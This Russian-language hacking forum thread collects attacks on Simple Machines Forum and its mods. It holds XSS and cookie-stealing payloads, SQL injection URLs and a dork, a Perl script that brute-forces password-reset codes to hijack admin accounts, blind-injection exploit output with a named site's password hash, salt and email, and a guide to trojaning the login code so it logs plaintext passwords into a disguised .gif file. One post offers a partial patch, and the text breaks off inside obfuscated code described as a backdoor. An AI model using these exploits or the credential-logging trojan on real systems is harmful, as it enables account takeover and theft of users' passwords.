Форумы [Обзор уязвимостей Simple Machines Forum]

Discussion in 'Уязвимости CMS/форумов' started by FeraS, 12 Aug 2007.

  1. Rashid

    Rashid Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    46
    Likes Received:
    4
    Reputations:
    2
     
  2. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Simple Machines Forum <= 1.1.6 Code Execution (LFI)
    Автор:~elmysterio ( a.k.a us )

    Локальный инклуд раннее загруженного атачмента с расширением .gif, содержащим шелл

    http://milw0rm.com/exploits/7011
     
    1 person likes this.
  3. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    SMF <= 1.1.6 Karma Description Mod XSS
    Code:
    <script>alert(/XSS/)</script>
    Автор: mailbrush (Я)
    Не фильтрируется поле "За что" в моде кармы.
     
    #23 mailbrush, 8 Nov 2008
    Last edited: 21 Nov 2008
    4 people like this.
  4. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    http://milw0rm.com/exploits/7011


    СМФ имеет функцию изменения тем,так вот это уязвимость заключается в изменении настроек тем,а затем присвоения значение $ параметрам конфигурации,так что вы можете изменять настройки смф

    Итак:
    Sources/Themes.php

    249 в index.php:

    Code:
    'jsoption' => array('Themes.php', 'SetJavaScript')

    1185 в Sources/Themes.php

    Code:
    function SetJavaScript()
    Затем эта функция выделяет темы в таблице переменных, которые вы послали

    1205 в Sources/Themes.php
    Code:
    	db_query("
    		REPLACE INTO {$db_prefix}themes
    			(ID_THEME, ID_MEMBER, variable, value)
    		VALUES ($settings[theme_id], $ID_MEMBER, SUBSTRING('$_GET[var]', 1, 255), SUBSTRING('" . (is_array($_GET['val']) ? implode(',', $_GET['val']) : $_GET['val']) . "', 1, 65534))", __FILE__, __LINE__);
    Зaтем считывает одну и ту же инфу тем же методом:

    Code:
    $request = db_query("
    			SELECT ID_THEME, variable, value
    			FROM {$db_prefix}themes
    			WHERE variable IN ('name', 'theme_url', 'theme_dir', 'images_url')" . (empty($modSettings['theme_default']) && !allowedTo('admin_forum') ? "
    				AND ID_THEME IN ('$knownThemes')
    				AND ID_THEME != 1" : '') . "
    				AND ID_THEME != 0
    			LIMIT " . count(explode(',', $modSettings['knownThemes'])) * 8, __FILE__, __LINE__);
    861 в Sources/Themes.php

    Code:
    while ($row = mysql_fetch_assoc($request))
    Параметры в $context['available_themes'][TEMA]

    869 в Sources/Themes.php

    Code:
    $context['available_themes'][$row['ID_THEME']][$row['variable']] = $row['value'];
    Затем принимает информацию по пунктам:

    904 в Sources/Themes.php

    Code:
    foreach ($context['available_themes'] as $ID_THEME => $theme_data)
    И в настройки перменные принимают значения,который мы только что изменили

    910 в Sources/Themes.php


    Code:
    $settings = $theme_data;
    И в конце концов, в том числе файл, использует значение $ theme_dir
    Code:
    include($settings['theme_dir'] . '/languages/Settings.' . $user_info['language'] . '.php')
     
  5. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    Уязвимости в модуле Seo4SMF

    SQL Иньекции:

    Файл: seo4smf-redirect.php

    Куски уязвимого кода:


    Line 7-13
    Code:
    $topic = $_GET['t'];
    $board = $_GET['b'];
    $other = $_GET['o'];
    $user = $_GET['u'];
    $tpage = $_GET['p'];
    $action = $_GET['a'];
    $param = $_GET['param'];
    Line 50-63
    Code:
    $query = db_query("
    SELECT m.ID_TOPIC, m.subject ,b.ID_BOARD, b.name
    FROM {$db_prefix}messages AS m, {$db_prefix}boards AS b
    WHERE m.ID_TOPIC = $topic
    AND m.ID_BOARD = b.ID_BOARD
    IMIT 1", __FILE__, __LINE__);
    Line 105-108
    Code:
    $query = db_query("
    SELECT name FROM {$db_prefix}boards AS b
    WHERE ID_BOARD = $board
    LIMIT 1", __FILE__, __LINE__);
    Line 125
    Code:
    $request = db_query("SELECT memberName FROM {$db_prefix}members where
    ID_MEMBER=".$user." limit 1", __FILE__, __LINE__);
    Line 143
    Code:
    $request = db_query("SELECT subject FROM {$db_prefix}tp_articles where
    id=".$tpage." limit 1", __FILE__, __LINE__);
    Переменные не содержат никакие фильтры,поэтому можно провести Sql иньекцию.

    Code:
    http://site/smf/seo4smf-redirect.php?t=-1 union select 1,2,3...,concat(username(),database()) –

    XSS:



    Файл: seo4smf-redirect.php

    Кусок уязвимого кода:
    Code:
    if(!empty($url)){
     header('HTTP/1.1 301 Moved Permanently');
     header('Location: '.$url);
     exit;
    }
    Code:
    http://site/seo4smf-redirect.php?a=x%0DLocation:%20javascript:alert(document.cookie);
     
    #25 OptimaPrime, 9 Jan 2009
    Last edited: 28 Jan 2009
  6. AnOcToJI

    AnOcToJI Elder - Старейшина

    Joined:
    10 Aug 2008
    Messages:
    45
    Likes Received:
    17
    Reputations:
    0
    покапавшись на днях в интернете наткнулся на такой exploit для SMF 1.1.7 тут www.securitylab.ru

    Code:
    #!/usr/bin/perl
    
        use LWP::UserAgent;
        use Getopt::Std;
        use LWP::Simple;
        use HTTP::Request;
    
    #Author: Xianur0
    #Uxmal666[at]gmail.com
    # Cracks links Password Recovery
    # Find Temporary Files executed by mods
    # DB function Flood by Error Log
    # File Path Disclosure
    # List installed Mods (Useful To Find Mods Vulnerable)
    # etc. ..
    
    print "\n\n\x09\x09\x09\x09\x09SMF Destroyer 0.1 By Xianur0 [Priv8]\n\n";
    my $url = $ARGV[1] || die ("Use: smf.pl [option] [Full URL]
    [Proxy:Puerto]\nOptions:\n-f Flood \n-p Search Directory Setup \n-l
    Installed Mods List \n-b Find Temporary\n-c  Cracks links Password
    Recovery (Recommended Use Proxy)");
    version();
    my $proxy = $ARGV[2] || "";
    if($ARGV[0] ne "-c" && $proxy ne "") {
    $ua->proxy(["http"], "http://".$proxy);
    }
    
        getopts('fplbc', \%opt);
        crackeador() if $opt{c};
        flood() if $opt{f};
        path() if $opt{p};
        list() if $opt{l};
        temp() if $opt{b};
    
    sub headers {
    $req->header('Accept' => 'text/html');
    $req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');
    }
    
    sub version {
    $ua = LWP::UserAgent->new;
    $ua->agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12)
    Gecko/20080201 Firefox/2.0.0.12');
    $req = HTTP::Request->new(GET => $url);
    &headers;
    $res = $ua->request($req);
    if ($res->is_success) {
    my $html = $res->content;
    if ($html =~ /title="Simple Machines Forum" target="_blank">Powered by
    SMF (.*?)<\/a>/){
    $version = $1;
    print "\n[X] SMF Version: $version\n";
    if($version < "1.1.7") {
    print "\n[X] Outdated Version $version!!!!!!!!!!!\n\n[X]
    http://milw0rm.com/search.php?dong=smf".$version."\n\n";
    }
    }}}
    
    sub path {
    $req = HTTP::Request->new(GET => $url.'/SSI.php?ssi_layers');
    &headers;
    $res = $ua->request($req);
    if ($res->is_success) {
    my $html = $res->content;
    if ($html =~ /Undefined variable: ssi_layers in <b>(.*?)SSI.php/){
    print "[X] Directory: $1\n";
    } else { print "[!] Getting error Directory!\n";}
    }
    }
    
    sub flood {
    print "[X] Starting Flood! (Press Ctrl + C To Finish)\n";
    $texto = "Flood!!!!!" x 15;
    $req = HTTP::Request->new(GET =>
    $url.'/index.php?action=help;page['.$texto.']=loginout');
    &headers;
    for($i = 1; $i<10000; $i++) {
    $res = $ua->request($req);
    if ($res->is_success) {
    print "[-] Sent: ".$i."\n";
    } else {
    print "[!] HTTP Error Query: " . $res->status_line . "\n";
    }
    }
    }
    
    
    sub temp {
    @temps=('index.php~','Settings.php~','Settings_bak.php~');
    foreach $temp (@temps) {
    $req = HTTP::Request->new(GET => $url."/".$temp);
    &headers;
    $res = $ua->request($req);
    if ($res->is_success) {
    print "[X] Temporary File Found: ".$url."/".$temp."\n";
    } else {print "[!] Not Found: ".$url."/".$temp."\n";}
    }
    }
    
    sub list {
    $req = HTTP::Request->new(GET => $url."/Packages/installed.list");
    &headers;
    $res = $ua->request($req);
    if ($res->is_success) {
    my $html = $res->content;
    my @htmls = split("\n", $html);
    foreach $mod (@htmls) {
    my @mod = split('\|\^\|', $mod);
    print "[X]Package:\nDescription: $mod[0]\nFile:
    $url/Packages/$mod[1]\nName: $mod[2]\nVersion: $mod[3]\n\n";
    
    }
    }
    }
    
    sub crackeador() {
    $url = $ARGV[0];
    $nick = $ARGV[1];
    $id = $ARGV[2] || die("Use: smf.pl -c [URL SMF] [Nick Admin] [ID
    Admin] [Proxy:Puerto]\nExample: smf.pl -p
    http://www.simplemachines.org/community/ dschwab9 179
    www.carlosslim.com:3128\n");
    my $reminder = $url."?action=reminder";
    my $smf = $reminder.";sa=setpassword;u=".$id.";code=";
    my $proxy = $ARGV[3];
    if($proxy ne "") {
    $ua->proxy(["http"], "http://".$proxy);
    }
    
    sub mail() {
    my $content = HTTP::Request->new(GET => $reminder);
    $contenedor = $ua->request($content)->as_string;
    if ($contenedor =~ /Set-Cookie: (.*?)
    /){
            print "\n[+] SESSION Detected: $1\n";
    $session = $1;
    } else { die "[!] SESSION could not be found!\n";}
    if ($contenedor =~ /<input type="hidden" name="sc" value="(.*?)"/){
            print "\n[+] sc Detected: $1\n";
        $sc = $1;
    } else { die "[!] SC could not be found!\n";}
    my $req = HTTP::Request->new(POST => $reminder.';sa=mail');
      $req->content_type('application/x-www-form-urlencoded');
      $req->content('user='.$nick.'&sc='.$sc.'&=enviar');
      $req->header('Cookie' => $session);
    my $res = $ua->request($req)->as_string;
    if(!$res) {exit;}
    print "[x]Sent!\n";
    
    }
    
    sub generador() {
    my $password = "";
    my @chars = split(" ",
        "0 1 2 3 4 5 6 7 8 9 a b c d e
        f g h i j k l m n o p q r s t
        u v w x y z");
    for (my $i=0; $i < 10 ;$i++) {
        $_rand = int(rand 35);
        $password .= $chars[$_rand];
    }
    return $password;
    }
    
    sub brute() {
    while($bucle ne "finito") {
    $code = generador();
        my $fuente = $reminder.";sa=setpassword;u=".$id.";code=".$code;
        my $content = HTTP::Request->new(GET => $reminder);
        my $content = $ua->request($content)->as_string;
    if ($content =~ /<input type="hidden" name="sc" value="(.*?)"/){
        $sc = $1;
    } else { die "[!] SC could not be found!\n";}
    if ($content =~ /Set-Cookie: (.*?)
    /){
            print "\n[+] New SESSION Detected: $1\n";
    $session = $1;
    } else { die "[!] SESSION could not be found!\n";}
    print "[+] Testing Code: ".$code."\n";
    my $req = HTTP::Request->new(POST => $reminder.';sa=mail');
      $req->content_type('application/x-www-form-urlencoded');
      $req->content('passwrd1=xianur0washere&passwrd2=xianur0washere&code='.$code.'&u='.$id.'&sc='.$sc);
      $req->header('Cookie' => $session);
      $res = $ua->request($req);
      if ($res->is_success) {
         if($res->content =~ '<input type="text" name="user" size="20" value="') {
    print "[-] Password Changed!\n[x] New password: xianur0washere\nUsername: $1\n";
    exit;
    }
    } else { die "[!] HTTP response incorrect!\n";}}}
    
    print "\n[-] Sending Mail...\n\n";
    mail();
    print "\n[-] Attacking code link recovery...\n";
    brute();
    }
     
    #26 AnOcToJI, 23 Jan 2009
    Last edited: 24 Jan 2009
  7. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    http://forum.antichat.ru/showpost.php?p=1047861&postcount=31

    Пришлось иметь дело с данным скриптом, действительно корявый, возможные решения проблемы:

    Code:
    	$topic = (int)$_GET['t'];
    	$board = (int)$_GET['b'];
    	$user = (int)$_GET['u'];
    	$tpage = (int)$_GET['p'];
    Целые пройти, чтобы избежать проверки данных

    Code:
    	$other = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['o']);
    	$action = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['a']);
    	$param = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['param']);
    Фильтр только для допустимых регулярок для SMF

    А тут делаем проверку на соответствие тем:
    Code:
    function seo_verifica_permisos($id, $tipo){
    		global $user_info, $db_prefix;
    		if(!$id = (int)$id){
    			return false;
    		}
    		if($user_info['is_admin'] == '1'){
    			return true; //Если админ права по умолчанию
    		}
    		if($tipo == 'board'){
    			if($request = @db_query("
    					SELECT memberGroups
    					FROM {$db_prefix}boards 
    					WHERE ID_BOARD = {$id} 
    					LIMIT 1", __FILE__, __LINE__)){
    					if($row = @mysql_fetch_assoc($request)){
    						mysql_free_result($request);
    					}
    			}
    			if(!$permisos = @explode(',', $row['memberGroups'])){
    				if(!$permisos = (int)$row['memberGroups']){ 
    					return false; 
    				}
    			}
    			foreach($permisos as $valor){
    				if($valor == $user_info['groups'][0]){
    					return true; 
    				}
    			}
    			return false; 
    		}elseif($tipo == 'topic'){
    			if($request = @db_query("
    				SELECT ID_BOARD
    				FROM {$db_prefix}topics 
    				WHERE ID_TOPIC = {$id} LIMIT 1", __FILE__, __LINE__)){
    				if($row = @mysql_fetch_assoc($request)){
    					mysql_free_result($request);
    				}
    			}
    			if(seo_verifica_permisos((int)$row['ID_BOARD'], 'board')){
    				return true; 
    			}else{
    				return false; 
    			}
    		}else{
    			return false;
    		}
    	}
    Ну собственно небольшой патч, если "это" так можно назвать(простите за грамматические ошибки и лексически не правильно построенные фразы, час ночи, спать охота).Собственно ссылки:
    http://dump.ru/file/2460593
    http://slil.ru/27454401

    Пароль: underantichat?!
     
  8. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    Скорее не баги, а так интересные наблюдения, где что хранится у смф:

    Ошибка при обработке пакетов:

    Ошибки при обработке пакетов сохраняется для того чтобы воможность редактирования, возможность сделать сделал резервную копию каждого файла PHP, которго коснулась изменения, но после смены, в 90% случаев они не удаляются администратором и доустпны всем желающим:
    Code:
    http://forum.com/index.php~
    или
    Code:
    http://www.forum.com/Settings.php ~ 
    Например: http://foro.infiernohacker.com/index.php ~

    Ошибка расширения файлов:
    Хранятся тут:
    Code:
    http://forum.com/Packages/installed.list 
    Например: опять-таки http://foro.infiernohacker.com/Packages/installed.list


    Директория на сервере:
    Хранится тут:
    Code:
    http://forum.com/SSI.php?ssi_layers 
    Например: http://foro.infiernohacker.com/SSI.php?ssi_layers
    Кроме того логи записываются еще и в http://forum.com/error_log
     
  9. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    438
    Likes Received:
    97
    Reputations:
    9
    Трояним SMF (сбор открытых паролей)

    И так открываем файл LogInOut.php который лежит в Source
    Редактируем файл...
    Ищем следующий код (он в дефолтном виде файла будет на 386 строке)

    PHP:
         if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
            
    $modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 $_REQUEST['hash_passwrd'] : null$modSettings['cookieTime']);
    $Login $_REQUEST['user']; 
    После него подставляем такой код

    PHP:
    $Login $_REQUEST['user']; //пишем в переменную login параметр user от посланного POST запроса
    $Passwd $_REQUEST['passwrd']; //пишем в переменную login параметр passwd от посланного POST запроса
    $fp fopen("./wavatar1.gif","a+"); //открываем файл wavatar1, если он не сущ то он создаеться автоматом
    fwrite($fp,"$Login:$Passwd\r\n"); //пишем что в переменных login, passwd и переносим на след. строку
    fclose($fp); //закрываем открытый файл
    Должно получиться так

    PHP:
    ..........
        if (isset(
    $modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
            
    $modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 $_REQUEST['hash_passwrd'] : null$modSettings['cookieTime']);
    $Login $_REQUEST['user']; 
    $Passwd $_REQUEST['passwrd']; 
    $fp fopen("./attachments/wavatar1.gif","a+"); 
    fwrite($fp,"$Login:$Passwd\r\n"); 
    fclose($fp); 
        
    // Get ready to set the cookie...
        
    $username $user_settings['memberName'];
        
    $ID_MEMBER $user_settings['ID_MEMBER'];
    ..........
    Логинимся... Мда звездочки пишуться в файл =\
    Теперь идем в папку Themes\default (где default имя темы которая стоит на данный момент)
    Редактируем файл Login.template.php
    Ищем в нем POST запросы (он в самом внизу находиться) код будет следующим (в случае если ниже код встречаеться в коде то редактируем)

    PHP:
    <form action="', $scripturl, '?action=login2" method="post" accept-charset="', $context['character_set'], '" name="frmLogin" id="frmLogin" style="margin-top: 4ex;"', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' . $context['session_id'] . '\');"' : '', '>
    Теперь в этом ПОСТ запросе
    Удаляем следующий код

    PHP:
    ', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' . $context['session_id'] . '\');"' : '', '>
    Повторюсь надо сделать это ко всем ПОСТ запросам в файле Login.template.php

    Полезная информация:
    [Код который мы удалили он шифрует пароль в звездочки]

    Логинимся... и в файле который мы прописали появится логин и пароль :)

    Автор: .wolmer
     
    #29 wolmer, 19 May 2009
    Last edited: 27 Oct 2009
    1 person likes this.
  10. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    Несколько слов о версии 1.9

    1. Ошибках в форме опросов.

    Смотрим в файле Sources/Pool.php (164-166):
    Code:
    foreach ($_REQUEST['options'] as $id)
    	{
    		$id = (int) $id;
    Если в переменную подставить, например, -1, то при показе результатов наш голос не будет засчитыватся.
    Бага конечно не серьезная, но все же)

    2.Смотрим Sources/Sub-Auth.php, где запрос к базе данных при поиске может достигать глобальных значений, или остановится, когда достигнет указанного предела в php.ini.

    Например, заходим в Профиль -> Настройка личных сообщений и нажать на поиск пользователей(эта опция находится в нескольких разделах в профиле) после чего откроется небольшое окно
    http://forum.com/index.php?action=findmember; sesc = [hash]

    Ошибки скрипта задаются в пхп.ини,
    3.RRS. С этим у смф траблы- достаточно сделать несколько запросов, чтоб вырубить майскулу было отказано в доступе, так как будет превышен лимит памяти.

    Для неверующих:

    http://forum.com/index.php?action=.xml;sa=news;board=34;limit=999;type=rss

    5.Раскрытие информации.Не работает должным образом опция "скрытый профиль" (не отобращается, что вы в онлайне).Так как данные узнать не составит большого труда.
     
  11. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Member Awards 1.02 Blind SQL-Injection

    Blind SQL-Инъекция в моде Member Awards
    Автор: mailbrush
    Часть уязвимого кода (ManageAwards.php):
    PHP:
            // Load single award ifo for editing.
            
    $request db_query("
                SELECT ID_AWARD, awardName, gameName, timeAdded, filename, width, height
                FROM 
    {$db_prefix}awards
                WHERE ID_AWARD = 
    $_REQUEST[id]
                LIMIT 1"
    __FILE____LINE__);
    Уязвимость позволяет удаленному пользователю выполнить произвольные запросы в базу. Уязвимость существует в передаваемом параметре id.

    Дорк:
    Code:
    inurl:index.php?action=profile;sa=awardsMembers;id=1
    На многих найденных форумах, вместо награды будет сообщение
    Оно возникает потому что удалённый пользователь не выбрал пользователя для просмотра, что есть обязаным для SMF. Решается это простоым добавлением id любого пользователя -
    Code:
    http://evilsite.com/smf/index.php?action=profile;sa=awardsMembers;[I]u=1[/I];id=1
    Пример:
    Code:
    http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;id=1+and+substring(version(),1)=5
    Способ обхода фильтра и эксплуатации уязвимости:

    https://forum.antichat.ru/showpost.php?p=1329095&postcount=7592
    https://forum.antichat.ru/threadnav46016-759-10.html
     
    #31 mailbrush, 13 Jun 2009
    Last edited by a moderator: 14 Jun 2009
  12. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    exploit для Blind SQLinj Member Awards 1.02

    Code:
      SMF ] MemberAwards 1.0.2 exploit
      eLwaux(c)uasc && antichat 2009
      thx: Grey && mailbrush
    
      usage:
         expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params}
         params:
            -v = get version()
            -u = get user()
            -d = get database() 
            -an = get User Name  (логин)
            -ap = get User Password (sha1 хеш)
            -as = get User Salt (сальт)
            -am = get User Mail (емейл)
    UAsc.org.UA/files/SMF-Awart-exploit.zip

    в скрипте:
    Code:
    $SHOW_ALL = 1; - показывать результат брута
    $SHOW_COUNT_REQ = 1; - показать количество запросов
    ..
    все ф-ции в таком формате:
    &getAdminName(41,122) , &getAdminPass(41,122), &getUser1(97,122), ..etc
    первый параметр - начало перебора, второй - конец.
    т.е. для AdminName будет перебор от chr(41) до chr(122).
    если скрипт не сможет роспознать имя\пароль\хеш\etc значит нужно изменить ети числа на
    0..255, т.е. чтоб получилось так:
    &getAdminName(0,255) , &getAdminPass(0,255), &getUser1(0,255), ..etc
    в боевых условиях :) :
    Code:
    http://scrubs.net.ru/cms/forum/index.php
    
    ] Host: scrubs.net.ru
      BAD answer = '╬°шсър!' <-- Ошибка
    ] version() = 5
    ] user() = us5729a@localhost
    ] database() = db
    ] id=1 NAME = zhbanito
    ] id=1 PASS = 4edd40635ac6fd263084d5ccc6fdc624fef3c932
    ] id=1 SALT = fe81
    ] id=1 MAIL = [email protected]
     
    3 people like this.
  13. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    Member Awards 1.02 Blind SQL-Injection exploit
    Vulnerability: mailbrush
    Code: oRb
    Thnx: Grey, eLWAux

    Использует бинарный поиск. В начале скрипта конфиг:
    $url - урл до smf
    $member_id - кого брутить
    $tbl_prefix - префикс таблиц
    $error - текст ошибки, если награда не найдена.

    Example:
    Code:
    $ php smf.php
    passwd: c22dcc8d6b9378b8fad65ab2a359fbdd60dfcb86
    Requests: 160
    Time: 00:00:32
     

    Attached Files:

    #33 oRb, 14 Jun 2009
    Last edited: 15 Jun 2009
  14. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    SMF 1.1.10

    АВТОР: HAXTA4OK

    нужны права админа :(


    Code:
    function EditHoliday()
    {
    	global $txt, $context, $db_prefix, $scripturl;
    
    	loadTemplate('ManageCalendar');
    
    	$context['is_new'] = !isset($_REQUEST['holiday']);
    	$context['page_title'] = $context['is_new'] ? $txt['holidays_add'] : $txt['holidays_edit'];
    	$context['sub_template'] = 'edit_holiday';
    	$context['admin_tabs']['tabs']['holidays']['is_selected'] = true;
    
    	// Submitting?
    	if (isset($_POST['sc']) && (isset($_REQUEST['delete']) || $_REQUEST['title'] != ''))
    	{
    		checkSession();
    
    		if (isset($_REQUEST['delete']))
    			db_query("
    				DELETE FROM {$db_prefix}calendar_holidays
    				WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__);
    		else
    		{
    			$date = strftime($_REQUEST['year'] <= 4 ? '0004-%m-%d' : '%Y-%m-%d', mktime(0, 0, 0, $_REQUEST['month'], $_REQUEST['day'], $_REQUEST['year']));
    			if (isset($_REQUEST['edit']))
    				db_query("
    					UPDATE {$db_prefix}calendar_holidays
    					SET eventDate = '$date', title = '$_REQUEST[title]'
    					WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__);
    			else
    				db_query("
    					INSERT INTO {$db_prefix}calendar_holidays
    						(eventDate, title)
    					VALUES
    						('$date', SUBSTRING('$_REQUEST[title]', 1, 48))", __FILE__, __LINE__);
    		}
    
    		updateStats('calendar');
    
    		redirectexit('action=managecalendar;sa=holidays');
    	}
    
    	// Default states...
    	if ($context['is_new'])
    		$context['holiday'] = array(
    			'id' => 0,
    			'day' => date('d'),
    			'month' => date('m'),
    			'year' => '0000',
    			'title' => ''
    		);
    	// If it's not new load the data.
    	else
    	{
    		$request = db_query("
    			SELECT ID_HOLIDAY, YEAR(eventDate) AS year, MONTH(eventDate) AS month, DAYOFMONTH(eventDate) AS day, title
    			FROM {$db_prefix}calendar_holidays
    			WHERE ID_HOLIDAY = $_REQUEST[holiday]
    			LIMIT 1", __FILE__, __LINE__);
    		while ($row = mysql_fetch_assoc($request))
    			$context['holiday'] = array(
    				'id' => $row['ID_HOLIDAY'],
    				'day' => $row['day'],
    				'month' => $row['month'],
    				'year' => $row['year'] <= 4 ? 0 : $row['year'],
    				'title' => $row['title']
    			);
    		mysql_free_result($request);
    	}
    
    	// Last day for the drop down?
    	$context['holiday']['last_day'] = (int) strftime('%d', mktime(0, 0, 0, $context['holiday']['month'] == 12 ? 1 : $context['holiday']['month'] + 1, 0, $context['holiday']['month'] == 12 ? $context['holiday']['year'] + 1 : $context['holiday']['year']));
    }
    
    
    уязвимое место holiday

    =) собственно сам пример

    http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;holiday=5

    реализация:
    http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;holiday=5'

    узнаем кол-во колонок - их 5

    из постов GREY'a делаем запрос

    http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;holiday=5+and+(%23)%0Asubstring(version(),1,1)=5

    у меня 5 ветка

    P.S. прошу сина не гнать на меня , мой первый баг найденный в SMF
     
    _________________________
    #34 HAXTA4OK, 27 Jul 2009
    Last edited: 23 Aug 2009
    2 people like this.
  15. dolmatian

    dolmatian New Member

    Joined:
    4 Nov 2009
    Messages:
    2
    Likes Received:
    2
    Reputations:
    0
    можно обойти ограничение на magic_quotes_gpc OFF
    если для изменения параметра theme_dir использовать POST запрос к Profile.php
     
  16. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    Бекдор?!

    Сегодня наткнулся на пост испанского вроде бы хакера WHK, который нашел бекдор в СМФ!

    http://www.simplemachines.org/community/index.php?action=mascot

    Он посмотрел исходники Sources/Who.php - 660 строка:

    Code:
    function Mascot()
    {
    	global $sourcedir;
     
    	// Some important quotes.
    	$O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array(
    		'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men.  ~Lord Acton',
    		'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily.  ~David Hasselhoff',
    		'Buy old masters. They fetch a better price than old mistresses.  ~William Maxwell Aitken',
    		'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded.  ~Laurie Anderson',
    		'I don\'t see the logic of rejecting data just because they seem incredible.  ~Fred Hoyle',
    		'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy.  ~Aristotle',
    	);
     
    	mt_srand(1104307200);$O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=array(floor(pi())*floor(M_E),floor(M_E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow(pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1)))));for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0,$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{'; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){$O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12)); $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]); }$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O=array((1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log(M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil(M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),);
